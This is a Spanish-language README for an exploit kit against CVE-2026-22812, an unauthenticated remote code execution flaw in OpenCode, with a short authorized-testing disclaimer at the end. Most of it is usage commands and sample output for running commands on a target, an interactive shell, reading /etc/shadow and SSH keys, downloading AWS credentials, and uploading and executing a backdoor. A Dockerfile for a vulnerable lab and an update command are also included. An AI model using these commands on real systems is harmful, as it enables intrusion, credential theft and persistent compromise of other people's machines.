
Kit de explotación para CVE-2026-22812 (RCE no autenticado en OpenCode) que proporciona shell interactiva, ejecución arbitraria de comandos, carga/descarga de archivos y enumeración del sistema para pruebas de seguridad autorizadas.
Kit de explotación completo para CVE-2026-22812 - RCE no autenticado en OpenCode
La Herramienta de Explotación CVE-2026-22812 es un framework de explotación integral para la vulnerabilidad de ejecución remota de código no autenticada en OpenCode. Esta herramienta proporciona múltiples métodos de explotación, incluidos shell interactivo, operaciones con archivos y enumeración del sistema.
# Clonar el repositorio
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# Instalar dependencias
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
Salida:
[+] ¡El objetivo es VULNERABLE a CVE-2026-22812!
[+] ID de sesión: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
Salida:
[*] Creando sesión...
[+] Sesión creada: abc123def456
[+] ¡El objetivo es VULNERABLE!
[*] Ejecutando: id
[+] Comando ejecutado correctamente
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
Sesión interactiva:
[+] Sesión creada: abc123def456
[+] ¡El objetivo es VULNERABLE!
[*] Entrando en modo shell interactivo
[!] Escribe 'help' para ver los comandos, 'exit' para salir
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Leyendo archivo: /etc/hostname
[+] Archivo leído correctamente (10 bytes)
dev-server-01
developer@target$ exit
[*] Saliendo...
# Comando único
python3 exploit.py -t http://target:4096 -c "whoami"
# Comando complejo
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# Múltiples comandos
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# Leer archivos sensibles
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# Subir script de shell
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# Subir binario
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# Subir con ejecución
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# Descargar configuración
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# Descargar credenciales
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# Descargar código fuente
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# Recopilar información del sistema
python3 exploit.py -t http://target:4096 --sysinfo
Salida:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile para OpenCode vulnerable
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# Compilar y ejecutar
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# Probar el exploit
python3 exploit.py -t http://localhost:4096 -i
# Instalar versión vulnerable
npm install -g [email protected]
# Iniciar OpenCode
opencode
# En otra terminal, ejecutar el exploit
python3 exploit.py -t http://localhost:4096 --verify
⚠️ ¡Nunca implemente versiones vulnerables en producción!
LEA CON ATENCIÓN
Esta herramienta se proporciona SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS.
Los autores:
Al usar esta herramienta, usted acepta:
ÚSELA BAJO SU PROPIO RIESGO
⭐ ¡Da una estrella si te resulta útil! ⭐
Solo para pruebas de seguridad autorizadas